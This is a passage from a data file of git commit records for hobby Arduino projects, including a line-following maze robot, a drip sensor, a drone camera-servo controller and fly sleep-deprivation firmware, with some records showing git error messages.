0;\r\n\r\n\/\/ Record the path\r\nchar path[100];\r\nunsigned int pathCounter = 0;\r\n\r\n\/\/ Initialize QTR8RC Sensor Array with sensor pins array\r\n\/\/ and number of sensors as second parameter\r\nQTRSensorsRC qtrRC(sensorPins, NUMBER_OF_SENSORS, TIMEOUT, EMITTER_PIN);\r\n\r\nunsigned char FOUND_LEFT()\r\n{\r\n\treturn (ON_LINE(sensorValues[0]) && ON_LINE(sensorValues[1]) && ON_LINE(sensorValues[2]) && ON_LINE(sensorValues[3]) && ON_LINE(sensorValues[4]));\r\n}\r\n\r\nunsigned char FOUND_RIGHT()\r\n{\r\n\treturn (ON_LINE(sensorValues[7]) && ON_LINE(sensorValues[6]) && ON_LINE(sensorValues[5]) && ON_LINE(sensorValues[4]) && ON_LINE(sensorValues[3]));\r\n}\r\n\r\nunsigned char FOUND_STRAIGHT()\r\n{\r\n\treturn((ON_LINE(sensorValues[2]) || ON_LINE(sensorValues[3])) && (ON_LINE(sensorValues[4]) && ON_LINE(sensorValues[5])));\r\n}\r\n\r\nchar selectTurn(unsigned char found_left, unsigned char found_right, unsigned char found_straight)\r\n{\r\n\tif (found_left)\r\n\t\treturn 'L';\r\n\telse if (found_right)\r\n\t\treturn 'R';\r\n\telse if (found_straight)\r\n\t\treturn 'S';\r\n}\r\n\r\nvoid turn(char direction, unsigned int speed, unsigned short delayTime)\r\n{\r\n\tswitch (direction)\r\n\t{\r\n\tcase 'L':\r\n\t\tmotorLeft.write(-speed);\r\n\t\tmotorRight.write(speed);\r\n\t\tdelay(delayTime);\r\n\t\tbreak;\r\n\r\n\tcase 'R':\r\n\t\tmotorLeft.write(speed);\r\n\t\tmotorRight.write(-speed);\r\n\t\tdelay(delayTime);\r\n\t\tbreak;\r\n\r\n\tcase 'S':\r\n\t\tbreak;\r\n\t}\r\n\r\n}\r\n\r\nint readSensors()\r\n{\r\n\tint pos;\r\n\tif (WHITE_ON_BLACK == 1)\r\n\t\tpos = qtrRC.readLine(sensorValues, QTR_EMITTERS_ON, true);\r\n\r\n\telse\r\n\t\tpos = qtrRC.readLine(sensorValues);\r\n\r\n\treturn pos;\r\n}\r\n\r\nvoid setup()\r\n{\r\n\tif (DEBUG_MODE == 1)\r\n\t{\r\n\t\tSerial.begin(9600);\r\n\t}\r\n\r\n\tBLUETOOTH.begin(9600);\r\n\r\n\tpinMode(MOTOR_DRIVER_PIN_STANDBY, OUTPUT);\r\n\tpinMode(13, OUTPUT);\r\n\r\n\t\/\/DISABLE_STANDBY;\r\n\tENABLE_STANDBY;\r\n\r\n\tpinMode(BUZZER_PIN, OUTPUT);\r\n\r\n\tmotorLeft.setPins(6, 5, 4);\r\n\tmotorRight.setPins(8, 9, 10);\r\n\r\n\tmotorLeft.setMaxSpeed(SPEED_MAX);\r\n\tmotorRight.setMaxSpeed(SPEED_MAX);\r\n\r\n\tmotorLeft.initialise();\r\n\tmotorRight.initialise();\r\n\r\n\t\/\/12 bit width of analog write values\r\n\tanalogWriteResolution(12);\r\n\r\n\t\/\/BLUETOOTH.begin(9600);\r\n\r\n\tdigitalWrite(13, HIGH);\r\n\tBUZZER_ON;\r\n\tinitializeBot();\r\n\tBUZZER_OFF;\r\n\tdigitalWrite(13, LOW);\r\n\r\n}\r\n\r\nvoid initializeBot()\r\n{\r\n\t\/\/ Calibrate sensors \r\n\tfor (unsigned int i = 0; i < 75; i++)\r\n\t{\r\n\t\tif (i == 0)\r\n\t\t\tturn('L', SPEED_CALIBRATE, 0);\r\n\t\tif (i == 20)\r\n\t\t\tturn('R', SPEED_CALIBRATE, 0);\r\n\t\tif (i == 55)\r\n\t\t\tturn('L', SPEED_CALIBRATE, 0);\r\n\r\n\t\t\/\/ Emitters on\r\n\t\t\/\/if (WHITE_ON_BLACK == 1 && EMITTER_ON == 1)\r\n\t\t\/\/\tqtrRC.calibrate(QTR_EMITTERS_ON);\r\n\r\n\t\t\/\/ Emitters off\r\n\t\t\/\/else\r\n\t\tqtrRC.calibrate();\r\n\r\n\t}\r\n\r\n\t\/\/Display values serially in debugMode for Debugging\r\n\tif (DEBUG_MODE == 1)\r\n\t{\r\n\t\tfor (unsigned char i = 0; i < NUMBER_OF_SENSORS; i++)\r\n\t\t{\r\n\t\t\tSerial.print(qtrRC.calibratedMinimumOn[i]);\r\n\t\t\tSerial.print(' ');\r\n\t\t}\r\n\t\tSerial.println(' ');\r\n\t\tfor (unsigned char i = 0; i < NUMBER_OF_SENSORS; i++)\r\n\t\t{\r\n\t\t\tSerial.print(qtrRC.calibratedMinimumOff[i]);\r\n\t\t\tSerial.print(' ');\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid showSensorValues()\r\n{\r\n\tfor (unsigned char i = 0; i < NUMBER_OF_SENSORS; i++)\r\n\t{\r\n\t\tSerial.print(sensorValues[i]);\r\n\t\tSerial.print(' ');\r\n\t}\r\n\r\n\tSerial.println();\r\n\r\n}\r\n\r\n\r\nvoid loop()\r\n{\r\n\t\/\/delay(500);\r\n\tfollowSegment();\r\n\tfollowSegment();\r\n\tfollowSegment();\r\n\trunMappingMode();\r\n}\r\n\r\nvoid followSegment()\r\n{\r\n\tposition_ = readSensors();\r\n\r\n\tif (DEBUG_MODE == 1)\r\n\t\tshowSensorValues();\r\n\r\n\tproportional = position_ - 3500;\r\n\r\n\tderivative = proportional - lastProportional;\r\n\tlastProportional = proportional;\r\n\tintegral += proportional;\r\n\r\n\tcontrol = proportional *KP + integral*KI + derivative*KD;\r\n\r\n\tif (DEBUG_MODE == 1)\r\n\t{\r\n\t\tSerial.print(\"Control \");\r\n\t\tSerial.print(control);\r\n\t\tSerial.print(\" Position \");\r\n\t\tSerial.print(proportional);\r\n\t\tSerial.println(\" \");\r\n\t}\r\n\r\n\r\n\tif (control > SPEED_MAX)\r\n\t\tcontrol = SPEED_MAX;\r\n\tif (control < -SPEED_MAX)\r\n\t\tcontrol = -SPEED_MAX;\r\n\r\n\tif (control < 0)\r\n\t{\r\n\t\tmotorLeft.write(SPEED_MAX + control);\r\n\t\tmotorRight.write(SPEED_MAX);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tmotorLeft.write(SPEED_MAX);\r\n\t\tmotorRight.write(SPEED_MAX - control);\r\n\t}\r\n\r\n}\r\n\r\nvoid runMappingMode()\r\n{\r\n\r\n\tunsigned char foundLeft = 0, foundStraight = 0, foundRight = 0;\r\n\t\/\/ C - Left 90 Junction\r\n\t\/\/ D - Right 90 Junction\r\n\t\/\/ T - Point Junction\r\n\t\/\/ L - Left 90\r\n\t\/\/ R - Right 90\r\n\r\n\t\/\/followSegment();\r\n\r\n\tposition_ = readSensors();\r\n\r\n\t\/\/ Starting of intersection\r\n\tif (FOUND_LEFT())\r\n\t\tfoundLeft = 1;\r\n\tif (FOUND_RIGHT())\r\n\t\tfoundRight = 1;\r\n\r\n\tif (foundLeft || foundRight)\r\n\t{\r\n\t\t\/*BLUETOOTH.print(\"foundLeft\");\r\n\t\tBLUETOOTH.println(foundLeft);\r\n\r\n\t\tBLUETOOTH.print(\"foundRight\");\r\n\t\tBLUETOOTH.println(foundRight);\r\n\t\t*\/\r\n\r\n\t\t\/\/motorLeft.setSpeed(-1024);\r\n\t\t\/\/motorRight.setSpeed(-1024);\r\n\r\n\t\t\/\/motorLeft.stop();\r\n\t\t\/\/motorRight.stop();\r\n\r\n\t\t\/\/delay(30);\r\n\r\n\t\t\/\/position_ = readSensors();\r\n\r\n\t\tif (foundLeft && foundRight)\r\n\t\t{\r\n\t\t\t\/\/delay(10);\r\n\t\t\twhile (FOUND_LEFT() || FOUND_RIGHT())\r\n\t\t\t\tposition_ = readSensors();\r\n\r\n\t\t\tif (FOUND_STRAIGHT())\r\n\t\t\t{\r\n\r\n\t\t\t\tpath[pathCounter++] = 'J';\r\n\t\t\t\tpath[pathCounter] = '\\0';\r\n\t\t\t\tmotorLeft.write(-1024);\r\n\t\t\t\tmotorRight.write(-1024);\r\n\t\t\t\tdelay(50);\r\n\t\t\t\tDISABLE_STANDBY;\r\n\t\t\t\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\t\tBLUETOOTH.println(path);\r\n\t\t\t\twhile (1)\r\n\t\t\t\t\tBUZZER_ON;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\tfoundLeft = 1;\/*\r\n\t\t\tif (!FOUND_STRAIGHT)\r\n\t\t\t{\r\n\t\t\t\tBUZZER_ON;\r\n\t\t\t\tpath[pathCounter++] = 'T';\r\n\t\t\t\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\t\tfoundLeft = 1;\r\n\t\t\t}*\/\r\n\r\n\t\t\tBUZZER_OFF;\r\n\t\t}\r\n\r\n\t\telse if (foundLeft && !foundRight)\r\n\t\t{\r\n\t\t\tBUZZER_ON;\r\n\t\t\twhile (FOUND_LEFT())\r\n\t\t\t{\r\n\t\t\t\tposition_ = readSensors();\r\n\t\t\t}\r\n\t\t\tif (FOUND_STRAIGHT())\r\n\t\t\t{\r\n\t\t\t\tBUZZER_ON;\r\n\t\t\t\tpath[pathCounter++] = 'C';\r\n\t\t\t\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\t\tfoundLeft = 1;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tpath[pathCounter++] = 'L';\r\n\t\t\t\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\t\tfoundLeft = 1;\r\n\t\t\t}\r\n\t\t\tBUZZER_OFF;\r\n\r\n\t\t}\r\n\r\n\t\telse if (foundRight && !foundLeft)\r\n\t\t{\r\n\t\t\tBUZZER_ON;\r\n\t\t\twhile (FOUND_RIGHT())\r\n\t\t\t{\r\n\t\t\t\tposition_ = readSensors();\r\n\t\t\t}\r\n\t\t\tif (!FOUND_STRAIGHT())\r\n\t\t\t{\r\n\r\n\t\t\t\tpath[pathCounter++] = 'R';\r\n\t\t\t\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\t\tfoundRight = 1;\r\n\t\t\t}\r\n\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tBUZZER_ON;\r\n\t\t\t\tpath[pathCounter++] = 'D';\r\n\t\t\t\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\t\tfoundRight = 1;\r\n\r\n\t\t\t}\r\n\t\t\tBUZZER_OFF;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/BUZZER_ON;\r\n\t\t\/\/\/\/delay(30);\r\n\t\t\/\/motorLeft.write(-32);\r\n\t\t\/\/motorRight.write(-32);\r\n\t\t\/\/\r\n\r\n\t\t\/\/delay(70);\r\n\t\t\/\/BUZZER_OFF;\r\n\r\n\t\t\/\/position_ = readSensors();\r\n\r\n\t\t\/\/\/\/ appx in the middle of intersection\r\n\t\t\/\/\/*if (ON_LINE(sensorValues[0]))\r\n\t\t\/\/\tfoundLeft = 1;\r\n\t\t\/\/\tif (ON_LINE(sensorValues[7]))\r\n\t\t\/\/\tfoundRight = 1;\r\n\r\n\t\t\/\/\tdelay(OVERSHOOT_LINE_TIME \/ 2);*\/\r\n\r\n\t\t\/\/\/\/Ahead of intersection\r\n\t\t\/\/\/*if (ON_LINE(sensorValues[0]))\r\n\t\t\/\/\tfoundLeft = 1;\r\n\t\t\/\/if (ON_LINE(sensorValues[7]))\r\n\t\t\/\/\tfoundRight = 1;*\/\r\n\r\n\t\t\/\/if ( (ON_LINE(sensorValues[2]) || ON_LINE(sensorValues[3]) ) && ( ON_LINE(sensorValues[4]) && ON_LINE(sensorValues[5]) ))\r\n\t\t\/\/\tfoundStraight = 1;\r\n\r\n\t\t\/\/\/\/'+' Junction Stop the Motors\r\n\t\t\/\/if (foundLeft && foundRight && foundStraight)\r\n\t\t\/\/{\r\n\t\t\/\/\tpath[pathCounter++] = 'J';\r\n\t\t\/\/\tpath[pathCounter] = '\\0';\r\n\t\t\/\/\tmotorLeft.stop();\r\n\t\t\/\/\tmotorRight.stop();\r\n\t\t\/\/\tDISABLE_STANDBY;\r\n\t\t\/\/\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\/\/\tBLUETOOTH.println(path);\r\n\t\t\/\/\twhile (1)\r\n\t\t\/\/\t\tBUZZER_ON;\r\n\t\t\/\/}\r\n\r\n\t\tchar direction = selectTurn(foundLeft, foundRight, foundStraight);\r\n\t\tturn(direction, SPEED_TURN, 200);\r\n\r\n\t\t\/*motorLeft.stop();\r\n\t\tmotorRight.stop();\r\n\r\n\t\twhile (1);*\/\r\n\r\n\t\t\/\/ left 90 Junction\r\n\t\t\/\/if (foundStraight)\r\n\t\t\/\/{\r\n\t\t\/\/\t\/\/ Left 90 Junction\r\n\t\t\/\/\tif (foundLeft && !foundRight)\r\n\t\t\/\/\t\/\/ T point Junction\r\n\t\t\/\/\t{\r\n\t\t\/\/\t\tpath[pathCounter++] = 'C';\r\n\t\t\/\/\t\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\/\/\t}\r\n\t\t\/\/\t\/\/ Right 90 Junction\r\n\t\t\/\/\telse if (foundRight && !foundLeft)\r\n\t\t\/\/\t{\r\n\r\n\t\t\/\/\t\tpath[pathCounter++] = 'D';\r\n\t\t\/\/\t\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\/\/\t}\r\n\t\t\/\/}\r\n\t\t\/\/else if (foundLeft && foundRight && !foundStraight)\r\n\t\t\/\/{\r\n\r\n\t\t\/\/\tpath[pathCounter++] = 'T';\r\n\t\t\/\/\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\/\/}\r\n\r\n\t\t\/\/else if (foundLeft || foundRight)\r\n\t\t\/\/{\r\n\t\t\/\/\tpath[pathCounter++] = direction;\r\n\t\t\/\/\tBLUETOOTH.println(path[pathCounter - 1]);\r\n\t\t\/\/}\r\n\r\n\t}\r\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'zippy_road_runner.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f9bd6c92a359595d3d4ce8f7d0f3b9828bdfce96","subject":"Battery Countdown Timer with Memory","message":"Battery Countdown Timer with Memory\n\nThis code works on the basis of simply counting down from a fixed time and converting that into a battery percentage to be displayed on a 7 Segment Display. Includes ability to remember battery level via storage in EEPROM.\n","repos":"acidphyx\/Arduino","old_file":"Battery Timer\/Main.ino","new_file":"Battery Timer\/Main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Battery' did not match any file(s) known to git\nerror: pathspec 'Timer\/Main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f4bc511fe1eb02cfb3a33b394fe3cbe276e4560","subject":"Fixes","message":"Fixes\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3e19f34c22eae20b8d34d246c4ae6490ab40deef","subject":"passthrough sketch","message":"passthrough sketch\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/wifi_test\/BareMinimum\/BareMinimum.ino\/BareMinimum.ino.ino","new_file":"unit tests\/wifi_test\/BareMinimum\/BareMinimum.ino\/BareMinimum.ino.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/wifi_test\/BareMinimum\/BareMinimum.ino\/BareMinimum.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ea5c9cb34e00d358acf58586b762b61463b3d76e","subject":"...","message":"...\n\n...\n","repos":"Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network","old_file":"Arduino\/analog_state_machine_sensors\/analog_state_machine_sensors.ino","new_file":"Arduino\/analog_state_machine_sensors\/analog_state_machine_sensors.ino","new_contents":"class DripSensor\n{\n\t\/\/ Class Member Variables\n\t\/\/ These are initialized at startup\n\tint sensorPin; \/\/ the number of the sensor pin\n\tlong DelayTime;\n \n\t\/\/ These maintain the current state\n\tint previousValue; \/\/ sensorData used to store the sensor data\n int currentValue; \/\/ sensorData used to store the sensor data\n\tunsigned long previousMillis; \/\/ will store last time sensorData was updated\n int drip;\npublic:\n DripSensor(int pin, long frequency)\n {\n\t sensorPin = pin;\n\t DelayTime = frequency;\n\t previousValue = 0;\n\t previousMillis = 0;\n drip=1; \n }\nvoid Update()\n {\n \/\/ check to see if it's time to read the analog sensor\n unsigned long currentMillis = millis();\n \n if (previousMillis >= DelayTime)\n {\n \t currentValue = analogRead(sensorPin); \/\/ read the input pin\n \n if ((previousValue < 150) && (currentValue > 250))\n { \n Serial.print(\"drip count = \");\n Serial.println(drip);\n drip += 1; \n } \n previousValue = currentValue; \n }\n previousMillis = currentMillis - previousMillis; \/\/ Remember the time\n }\n \n};\n\n\nDripSensor dripSensor(3,5);\n\nvoid setup()\n{\n Serial.begin(9600);\n} \nvoid loop()\n{\n long a;\n long b;\n a = millis();\n \n\tdripSensor.Update();\n b = millis();\n Serial.println(b-a);\n delay(200);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/analog_state_machine_sensors\/analog_state_machine_sensors.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"7db40ad7bf65261922d83aabd6f002c3d507c651","subject":"switch to consistent 80ms I2C powerup","message":"switch to consistent 80ms I2C powerup\n","repos":"wsnook\/yawx,wsnook\/yawx,wsnook\/yawx","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/yawx.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bc88640b0e9807332d981cd1482ee1f475cf151b","subject":"Syma servo sketch","message":"Syma servo sketch\n\nWoo!","repos":"EThornill\/Syma_X5C_servo","old_file":"Syma_servo_trinket.ino","new_file":"Syma_servo_trinket.ino","new_contents":"\/*******************************************************************\n SYMA X5C servo control\n*******************************************************************\n\n Uses the camera port on the SYMA X5C to control a servo.\n When the picture or video buttons are pressed on the transmitter\n the signal wire (yellow) drops from 3.7v to 0v for 0.25s (picture)\n or 0.75s (video).\n\n Using those signals this sketch moves a servo from 0 degress to\n - 90 degrees to tilt a camera from horizontal (normal FPV flight)\n to looking down (for landing).\n \n Current config just toggles between 0 and -90 degrees using a single \n button push (picture button), leaving one button open (use tbd). Could \n be coded however so one button increments servo in one direction, and the \n other button increments it the other.\n\n *******************************************************************\n Board: Adafruit Trinket (3v)\n Notes:\n\n \"Required library is the Adafruit_SoftServo library\n available at https:\/\/github.com\/adafruit\/Adafruit_SoftServo\n The standard Arduino IDE servo library will not work with 8 bit\n AVR microcontrollers like Trinket and Gemma due to differences\n in available timer hardware and programming. We simply refresh\n by piggy-backing on the timer0 millis() counter\"\n\n Tutorial: https:\/\/learn.adafruit.com\/trinket-gemma-servo-control\/overview\n\n *******************************************************************\n\n Detecting the camera signal was adapted from a 'hold button'\n sketch at http:\/\/playground.arduino.cc\/Code\/HoldButton\n\n Other bits and pieces were found in the Arduino forums\n\n *******************************************************************\/\n \n#include <Adafruit_SoftServo.h>\n\n#define SERVO1PIN 0 \/\/ Servo control line on Trinket Pin #7\nint signal = 2; \/\/ The signal from the SYMA camera port\nint LEDsignal = 1; \/\/ Blink\n\nint current; \/\/ Current state of the button\n \/\/ (LOW is pressed b\/c i'm using the pullup resistors)\nlong millis_held; \/\/ Duration of signal (milliseconds)\nlong secs_held; \/\/ Duration of signal (seconds)\nlong prev_secs_held; \/\/ Duration previously\nbyte previous = HIGH;\nunsigned long firstTime; \/\/ how long since the signal was detected\n\n\nAdafruit_SoftServo myServo1;\nboolean toggle = true;\n\nvoid setup() \n{ \n digitalWrite(signal, HIGH);\n pinMode(LEDsignal, OUTPUT);\n digitalWrite(LEDsignal, LOW);\n \n \n OCR0A = 0xAF; \/\/ any number is OK\n TIMSK |= _BV(OCIE0A); \/\/ Turn on the compare interrupt (below!)\n \n myServo1.attach(SERVO1PIN); \/\/ Attach the servo to pin 0 on Trinket\n myServo1.write(165); \/\/ Initial position (horizontal)\n delay(15); \/\/ Wait 15ms for the servo to reach the position\n}\n\nvoid loop() {\n current = digitalRead(signal);\n \n \/\/--------------- Reading the camera signal ----------------\n \/\/----------------------------------------------------------\n\n \/\/ if the state changes to low signal, remember the start time \n if (current == LOW && previous == HIGH && (millis() - firstTime) > 200) {\n firstTime = millis();\n }\n\n millis_held = (millis() - firstTime);\n secs_held = millis_held \/ 1000;\n\n \/\/debouncing tool... the low signal must have a duration for at least 100 milliseconds to be considered\n if (millis_held > 100) {\n \n \/\/ check that the low signal returned to high since we last checked\n if (current == HIGH && previous == LOW) {\n \n \/\/----------------- Controlling the Servo ------------------\n \/\/----------------------------------------------------------\n \n \/\/ Low signal from Camera, 0.15 - 0.35s (picture button)\n if (millis_held > 150 && millis_held < 350) { \n \n \/\/Move from 0 to -90 degrees (horizontal to straight down)\n if(toggle){\n myServo1.write(70);\n toggle = !toggle;\n digitalWrite(LEDsignal, HIGH); \/\/ turn the LED on\n delay(500); \/\/ wait for half a second\n digitalWrite(LEDsignal, LOW); \/\/ turn the LED off\n }\n \/\/Move from 90 to 0 degrees (straight down to horizontal)\n else{\n myServo1.write(165);\n toggle = !toggle;\n digitalWrite(LEDsignal, HIGH); \/\/ turn the LED on\n delay(500); \/\/ wait for half a second\n digitalWrite(LEDsignal, LOW); \/\/ turn the LED off\n }\n } \/\/0.25s end_if\n \n \/\/ Low signal from Camera is >0.5s (video button)\n if (millis_held > 500) {\n \/\/whatever we want... haven't decided yet\n }\/\/0.75s end_if\n \n \/\/----------------------------------------------------------\n \/\/----------------------------------------------------------\n \n }\n }\n\n previous = current;\n prev_secs_held = secs_held;\n} \/\/end loop\n\n\/\/----------------------------------------------------------\n\/\/----------------------------------------------------------\n \n\/\/ We'll take advantage of the built in millis() timer that goes off\n \/\/ to keep track of time, and refresh the servo every 20 milliseconds\n \/\/ The SIGNAL(TIMER0_COMPA_vect) function is the interrupt that will be\n \/\/ Called by the microcontroller every 2 milliseconds\n\n volatile uint8_t counter = 0;\n SIGNAL(TIMER0_COMPA_vect) {\n \/\/ this gets called every 2 milliseconds\n counter += 2;\n \/\/ every 20 milliseconds, refresh the servos!\n if (counter >= 20) {\n counter = 0;\n myServo1.refresh();\n }\n } \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Syma_servo_trinket.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2e05f32a6cd5b47034ead2cab4013da1d4788991","subject":"First commit","message":"First commit\n","repos":"gilestrolab\/fly-sleepdeprivator","old_file":"firmware\/firmware.ino","new_file":"firmware\/firmware.ino","new_contents":"\/*\n * sleep_deprivator_fw.ino\n * \n * Copyright 2013 Giorgio Gilestro <giorgio@gilest.ro>\n * \n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n * MA 02110-1301, USA.\n * \n * \n * \n * This is the firmware for the sleep deprivator created in the Gilestro\n * laboratory at Imperial College London and produced and distributed\n * by PolygonalTree.co.uk\n * \n * HARDWARE\n * \n * Servo board for controlling the motors: http:\/\/www.emartee.com\/product\/42016\/\n * Connections to motors: http:\/\/letsmakerobots.com\/node\/25923\n * plug monitor 1 \/ channel 1 to A9 (D63) and go down skipping 44,45,46,2,3,5,6,7,8,11,12\n * Motors: Turnigy TG9e http:\/\/www.hobbyking.com\/hobbyking\/store\/__30946__Turnigy_TG9e_9g_1_5kg_0_10sec_Eco_Micro_Servo_UK_Warehouse_.html\n * \n * FIRMWARE LIBRARY NEEDED\n * For information on installing libraries, see: http:\/\/arduino.cc\/en\/Guide\/Libraries\n\n * Servo library http:\/\/arduino.cc\/en\/reference\/servo\n * SerialCommand Library https:\/\/github.com\/kroimon\/Arduino-SerialCommand\n * \n * \n * The servos are connected as follow:\n * Row 1: (16-01) 22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37\n * Row 2: (17-32) 38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53\n * \n * \n * \n *\/\n\n#include <Servo.h> \n#include <SerialCommand.h>\n\nconst String VERSION = \"0.8\";\nconst int SERVO_NUMBER = 32;\n\nconst int servoPINS[SERVO_NUMBER] = {37,36,35,34,33,32,31,30,29,28,27,26,25,24,23,22,\n 38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53};\n\nServo servoarray[SERVO_NUMBER];\nSerialCommand sCmd; \/\/ The SerialCommand object\n\n\nint SHAKE = 2; \/\/ number of times the servo rotates\nint ROTATION_DELAY = 500; \/\/ pause between each motor movement\nint GROUP_SIZE = 4; \/\/ the size of the group of motors rotating at once\n\nboolean USE_SERVO = true;\nboolean DEBUG_MODE = false;\n\nboolean AUTO_MODE = true; \/\/ set this to TRUE to use it without PC connected\nint rMIN = 1; \/\/ default minimal value for RANDOM rotations in AUTO mode\nint rMAX = 7; \/\/ default maximum value for RANDOM rotations in AUTO mode\n\nint lap = 1; \/\/ used internally\nunsigned long pTime = 0; \/\/ used internally\n\nboolean IR_ON = true; \/\/starts with LEDS on (1) or off (0)\nconst int IR_LED_LEFT = 6; \/\/pin for LED LEFT\nconst int IR_LED_RIGHT = 7; \/\/pin for LED RIGHT\n\nvoid setup() \n{ \n Serial.begin(57600);\n \n setupSerialCommands();\n \n if ( USE_SERVO ) { attachServos(); }\/\/attach all servos\n \n if ( IR_ON ) { \n digitalWrite(IR_LED_LEFT,HIGH);\n digitalWrite(IR_LED_RIGHT,HIGH); \n}\n\nSerial.println(\"Ready.\");\n}\n\n\n\/\/ ================= VARIOUS FUNCTIONS ================== \/\/\n\nvoid irLed(){\n \/\/Switches IR LEDs on and off.\n \n char *arg;\n arg = sCmd.next();\n int status = atoi(arg);\n \n if( status == 1) {\n digitalWrite(IR_LED_LEFT,HIGH);\n digitalWrite(IR_LED_RIGHT,HIGH);\n } \n else if ( status == 0) {\n digitalWrite(IR_LED_LEFT,LOW);\n digitalWrite(IR_LED_RIGHT,LOW);\n }\n listValues();\n}\n\n\n\/\/ ================= CHANGE DEFAULT VALUES FUNCTIONS ================== \/\/\n\nvoid changeSHAKE(){\n \/\/change the default value for the number of SHAKE\n \/\/\n char *arg;\n arg = sCmd.next();\n if (arg != NULL) {\n SHAKE = atoi(arg);\n }\n listValues();\n}\n\nvoid toggleAUTOMODE(){\n \/\/Set Automode ON or OFF\n \/\/\n AUTO_MODE = not AUTO_MODE;\n listValues();\n}\n\n\nvoid toggleDEBUGMODE(){\n \/\/Set DEBUG MODE ON or OFF\n \/\/\n DEBUG_MODE = not DEBUG_MODE;\n listValues();\n}\n\nvoid changeDELAY(){\n \/\/Changes the default value for the pause between the two rotations\n \/\/value in milliseconds\n char *arg;\n arg = sCmd.next();\n if (arg != NULL) {\n ROTATION_DELAY = atoi(arg);\n }\n listValues();\n}\n\nvoid changeGROUP(){\n \/\/Changes the default value for the group size of motors moving at once\n char *arg;\n arg = sCmd.next();\n if (arg != NULL) {\n GROUP_SIZE = atoi(arg);\n }\n listValues();\n}\n\nvoid changeRANDOM_INTERVALS(){\n char *arg;\n\n arg = sCmd.next();\n if (arg != NULL) {\n rMIN = atoi(arg);\n }\n\n arg = sCmd.next();\n if (arg != NULL) {\n rMAX = atoi(arg);\n }\n listValues();\n}\n\n\/\/ ================= TIME FUNCTIONS ================== \/\/\n\nString uptime()\n{\n long unsigned currentmillis = millis();\n\n static char secs_f[3];\n static char mins_f[3];\n static char hours_f[3];\n \n long unsigned secs = currentmillis\/1000; \/\/convect milliseconds to seconds\n long unsigned mins=secs\/60; \/\/convert seconds to minutes\n long unsigned hours=mins\/60; \/\/convert minutes to hours\n \n secs=secs-(mins*60); \/\/subtract the coverted seconds to minutes in order to display 59 secs max \n mins=mins-(hours*60); \/\/subtract the coverted minutes to hours in order to display 59 minutes max\n \n sprintf(secs_f, \"%02d\", secs);\n sprintf(mins_f, \"%02d\", mins);\n sprintf(hours_f, \"%02d\", hours);\n\n String time = String(hours_f) + \":\" + String(mins_f) + \":\" + String(secs_f);\n \n return time;\n}\n\n\nint get_new_interval() {\n\n int rand = random(rMIN, rMAX); \/\/random number between rMIN, rMAX\n pTime = millis();\n if ( DEBUG_MODE ) { Serial.println( \"Next rotation in \" + String(rand) + \" minutes\" ); }\n return rand;\n}\n\nboolean time_elapsed() {\n unsigned long time = millis();\n return (time - pTime >= lap*60000);\n}\n\n\/\/ ================= ROTATE FUNCTIONS ================== \/\/\n\nvoid attachServos() {\n \/\/this function attaches all servos\n \/\/it's called at the beginning\n \n const int 